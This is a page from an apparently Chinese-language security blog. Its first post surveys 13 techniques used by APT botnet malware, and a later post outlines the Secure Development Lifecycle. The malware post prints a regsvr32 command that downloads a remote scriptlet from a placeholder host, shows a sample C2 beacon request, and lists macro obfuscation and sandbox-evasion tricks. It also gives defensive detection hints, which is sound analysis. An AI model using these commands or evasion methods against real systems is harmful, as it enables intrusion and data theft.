• 13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧

    Image result for C&C virus

    這篇文章主要分析2017主要整理APT與C&C殭屍病毒真實個案中

    運用的一些技術與防偵測技巧, 包含下列議題:

    • PowerShell 已經慢慢成為病毒執行與下載的主要工具之一,
    • 許多開源PowerShell 範例可用來注入攻擊, 下載, 上傳秘密文件等
    • regsvr32.exe也被運用成為 downloader
    • 逃避偵測的方式透過 GoogleDrive, DNS tunnel, fileless downloader, PS混碼, Office文件, Registry Key儲存

    常見APT C&C病毒感染過程

    • 使用者收到郵件下載 office 文件並且開啟
    • Office 文件執行透過漏洞或是巨集執行 Script
    • 該Script 下載額外的病毒碼
    • 病毒碼執行搜尋其他電腦或是有利資訊
    • 病毒碼種植以便下次重開機得以執行
    • 命毒碼執行並且透過 DNS tunnel 與殭屍網路連線
     一個真實的案例如下:
     

    病毒技巧1. :  利用regsvr32.exe 下載 SCT  ( Windows Script Component )

    這個技巧主要是透過 WORD 中的巨集腳本執行下列指令

    指令: regsvr32.exe /u /s /i:http://<malware>/malware.sct

    這個指令利用 regsvr32.exe 下載遠端的 SCT


     

    病毒技巧2. : 利用 WScript 執行powerShell

    這個技巧主要運用 WSScript 來執行 PowerShell 腳本

     

    技巧3: 不需要powershell.exe執行權限也可以執行PowerSell

    由於 PowerShell 執行需要權限, 因此開源工具 PowerShdll提供 EXE 與DLL 模式,

    如此一來主要佈署該工具 PowerShdll 就可以執行 PS

    但是缺點是該工具的下載就很容易被防毒軟體偵測

    技巧4: 擷取Windows 密碼

    如何竊取電腦密碼呢? 參考這兩個開源程式範例

    技巧5: PowerSell 攻擊武器庫

     隨著 PowerShell 的廣泛使用, 開始有各式各樣的 PS 攻擊武器庫範例程式
    包含後門, 注入攻擊, 防毒逃逸, WORD後門執行, Downloader, 鍵盤側錄等等

    技巧6: PowerSell 混碼

    PowerShell 程式碼加以編碼後就更不容易被解讀分析或是被防毒偵測到
    如何將 PowerShell 程式碼”編碼” , 可以參考這個開源工具

    技巧7 : Office文件逃避程式碼偵測方式

    許多程式的執行都是透過 office 文件的巨集,  但是該程式碼很容易被防毒軟體分析
    因此黑客運用的小技巧
    1. 將程式碼包裝在 TextBox 的Form中
    2. 用密碼保護文件中的巨集程式macro,
    如此一來就難以用常用的 OLETools分析工具分析 office 中的程式碼
    結合上述綜合技巧, 一個完美的攻擊就誕生了,
    一個結合 WORD 文件執行 regsvr 下載額外的 PS 腳本, PowerShell 繼續執行其他惡意行為
    參考下圖

    技巧8 : 利用GoogleDrive or DropBox來儲存偷走資訊

    由於 HTTP訪問這些雲儲存網站不容易被防火牆或是威脅分析警示

    因此黑客運用這些雲儲存網站儲存病毒設定檔, 或是將竊取的資訊往上傳至這些網站

     

    技巧9: 隨機或是加密過的 HTTP 參數

    受感染的電腦如何與遠端殭屍電腦溝通呢?

    舉例來說: 透過 HTTP 加密過的參數或是 cookie 進行溝通

    GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
    Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: [user agent]
    Host: [host name]
    Connection: Keep-Alive
    Cache-Control: no-cache

     技巧9 : 反病毒偵測檢查

    病毒為了逃避防毒軟體的偵測, 會在下列情況下不執行或是再下載後延遲600秒後執行
    • 檢查 Debugger 是否存在
    • 檢查是否執行在虛擬機環境, 避免被沙箱環境偵測
    • 檢查 ProcessExplorer是否執行
    • 檢查WireShark 工具是否正在執行, 避免網路溝通封包被截取

    技巧 10 : 利用  free web hosting sites

    越來越多的病毒透過 Web Hosting 服務來執行病毒
    由於這些 Web hosting 服務註冊比較容易, 管理稽核也比較鬆散,
    因此黑客用來架設殭屍病毒主機
    可透過 whoIS 或是 PassiveTotal 的方式觀察該 Web註冊歷史紀錄是否經常變換

    技巧11 Reflective DLL Injection

    參考
    https://github.com/stephenfewer/ReflectiveDLLInjection
    https://attack.mitre.org/wiki/Technique/T1055#Detection
     https://www.aldeid.com/wiki/Category:Digital-Forensics/Rootkits/User-mode-Rootkits
    http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

    技巧12: 不留檔案的 Downloader

    下列這張圖說明當受害者收到郵件打開文件之後, 接下來該病毒如何與遠端電腦下載並且溝通

    透過下列技巧盡量不在受害者電腦留下檔案, 以避免防毒偵測

    • 方法一: 將PowerShell code 儲存在 registry key 中
    • 方法二: 透過 regsvr32 下載COM scriptlet
    • 方法三:透過 JavaScript 下載Cobalt Strike Beacon
    Office 文件中定義巨集, 該巨集為透過 regsvr32.exe 下載惡意程式碼 (f0921-6.sct) 範例
    透過 WSCript 執行 PowerShell 惡意程式碼範例

    真實個案如下圖:

    參考
    Cobalt Strike, PowerSploit and Nishang.

     技巧13  DNS Tunneling

    透過 DNS Protocol 傳輸殭屍網路的指令, 並且將病毒DNS指向 Google and OpenDNS DNS servers

    將指令傳輸隱藏在該傳輸中

     

    DNS tunel 有哪些工具技術可以利用?

    Image result for DNS Tunneling

    由於 DNS Query 為 google or openDNS因此無法單存藉由DNS 訪問目的地偵測

    這類的DNS Tunnel攻擊方式必須額外靠智能分析的方式, 例如

    • 每次DNS 查詢是否超過 64字元, 殭屍網路的DNS 查詢相對會比較大
    • DNS TXT 數量
    • DNS訪問中, 對於特定來源的訪問題, 這必須靠 SIEM 將所有的DNS 訪問比對統計分析
    • DNSTrap 分析 LLD 也就是 DNS 訪問 Domain 的字元關係

    https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152

  • 教學 12.10.2017 No Comments

     

     

     

     

    • https://github.com/open2test/open2test_selenium
    • http://redwoodhq.com/

     

     

  • 教學 08.10.2017 No Comments

    軟體發展安全流程 SDL (Secure Development LifeCycle)

    Web Security雲端資訊安全15.06.2017

    軟體發展安全流程 SDL (Secure Development LifeCycle)

    這篇文章主要介紹軟體發展流程中必要的安全技術與工具

    要讓該流程能夠有所落實, 還是必須回歸安全技術

    單單依照流程執行還是不夠的, 到底這流程中有執行上有哪些問題與技術要考量?

    安全培訓

    與其說是培訓不如說這部分更多的是溝通的過程, 安全的培訓內容包含哪些? 一般來說分為下列幾大部分

     

    公司整體安全政策

    例如資訊安全, 安全流程規範, 數位資產防護, USB/行動電腦使用規範等

    這樣的培訓通常會在新員工入職舉辦, 或是定期公司以宣傳的方式進行,

    網路安全從業人員對於網路安全業務的處理, 會有更其他網路安全從業要求的培訓,

    除了一般常見的軟體安全技術, 例如: 安全編碼 or 安全需求等.

    還包含法規與行業合規, 舉例來說:

    • 中國有《網路安全法》《中華人民共和國電腦資訊系統安全保護條例(2011修訂)》《通信網路安全防護管理辦法》《國家安全法(2015)》
    • 每個國家對於密碼與進出口都有貿易合規的相關規定
    • 個人隱私保護規範, 每個國家對於個人隱私資料的獲得, 儲存與處理也有特別法律的規律
    • 行業安全認證

    這些與 SDL 軟體發展有什麼關係呢? 主要在於必須要識別出關鍵的安全需求風險

    哪些軟體的設計會導致安全合規的障礙或是缺失必須要識別出, 提煉出相關軟體的安全需求, 安全設計, checkList

    安全架構設計

    首先要區分的是軟體的安全與安全的軟體有所不同.

    軟體的安全指的是透過 SDL (Secure Development Lifecyle)保障軟體的安全

    安全的軟體, 例如防毒軟體

    這邊更多指的是軟體的安全, 當然防毒軟體的本身也需要安全的設計,

    什麼是一個好的安全架構設計 , 有許多的模型與架構, 一般來說ICU. X805提供一個整體性的思考

    儘管該模型超過 10年, 但是整體的安全設計原則還是沒有改變

    改變的是許多不同的應用場景, 例如雲化場景下的場景, 例如微服務架構下的場景, 例如開放環境下認證的場景等

    安全設計

    安全設計的培訓通常包含整體性攻擊與威脅防護的安全設計方案,

    筆者很推薦這本書 https://msdn.microsoft.com/en-us/library/ff648647.aspx

    另外OWASP ESAPI提供一個設計與實作整體的思考, 非常值得參考

    即使不使用 ESAPI 實作,  整體的安全設計也應該包含這些模組

    威脅分析

    在設計階段時會進行威脅分析的討論, 針對每個模組進行 STRIDE 的威脅與防護的分析

    https://www.owasp.org/index.php/Application_Threat_Modeling#STRIDE

    https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet

    隨著時間的累積, 會累積一定的資料庫

    進行這樣的分析必須避免流於形式, 為了符合流程而只是做拷貝複製類似模組的威脅分析

    另外, 必須厘清現有的削減措施與建議消減措施以便落地于產品開發中

    這是一個安全工程師, 開發工程師, 安全與業務的雙向溝通過程

    如何在業務與安全中取得一個平衡是這溝通過程中最重要的部分

    相關威脅分析工具與材料可參考:

    威脅分析 https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx

    威脅分析 https://www.owasp.org/index.php/Application_Threat_Modeling#STRIDE

     

    安全編碼

    安全編碼培訓常見的有 C/C++, PHP, Java, Python, 編譯安全, 安全編碼掃描工具使用, 加密演算法使用等

    業界比較值得參考的安全編碼規範有

    CWE 常見的編碼與軟體錯誤

    Oracle Java 安全編碼指南

    Secure Coding

    OWASP

     

     

    另外筆者也建議 FindBugs 工具所提供的編碼錯誤指南

    編碼掃描工具

    商用較知名的有

    • Klocwork
    • Coverity
    • Veracode

     

    安全測試

    Web 安全測試方法與工具,

    筆者推薦 OWASP Testing Guide https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

    測試工具的部分知名的 Kali Linux 內建許多安全測試工具

    由於多半的服務為 Web, 也可以考慮使用 Samurai , 跟Kali Linux 類似, 但是著重於 Web 相關的測試工具

    http://www.samurai-wtf.org/

    對於平台, 作業系統, Linux, Database 等的安全配置測試, 筆者建議採用業界

     

    網路法規 & 個人隱私保護

    由於歐洲 GDPR 個人隱私資料保護法的實施, 讓個人隱私資料保護成為各互聯網企業的顯學

    在中國有<網路安全法>, 法律跟網路軟體安全有什麼關係呢? 筆者列舉下列幾點:

    • 日誌保存必須6個月: 日誌保存就必須注意到備份與完整性保護等機制
    • 資料對外輸出: 如果有資料必須傳輸至其他國家就必須經過過濾與處理
    • 個人隱私收集與處理: 如果服務在處理過程中有收集使用者資料必須告知
    • 漏洞回應: 漏洞的處理與回應必須符合規定與通報《中國互聯網協會漏洞資訊披露和處置自律公約》

    中國漏洞權威發佈的機構

    1.中國國家資訊安全性漏洞庫:http://www.cnnvd.org.cn

    2.國家互聯網應急中心:http://www.cert.org.cn

    參考: http://blog.nsfocus.net/network-security-law-points/#i-2

    另外《電子商務法》與《個人資訊保護法》也正在立法中, 這些法案將對於中國互聯網比較大的影響

    安全需求分析

    安全需求來源可以分為下列幾個層面:

    • 客戶
    • 法規
    • 行業 OWASP, NIST, CSA
    • 安全認證
    • 業務場景衍生

    另外筆者推薦參考 OWASP ASVS, 該專項對於安全整體需求分為19類

     

     

    參考

    SDL 指導書下載參考: https://www.microsoft.com/en-us/download/details.aspx?id=12379

    https://www.microsoft.com/en-us/sdl/default.aspx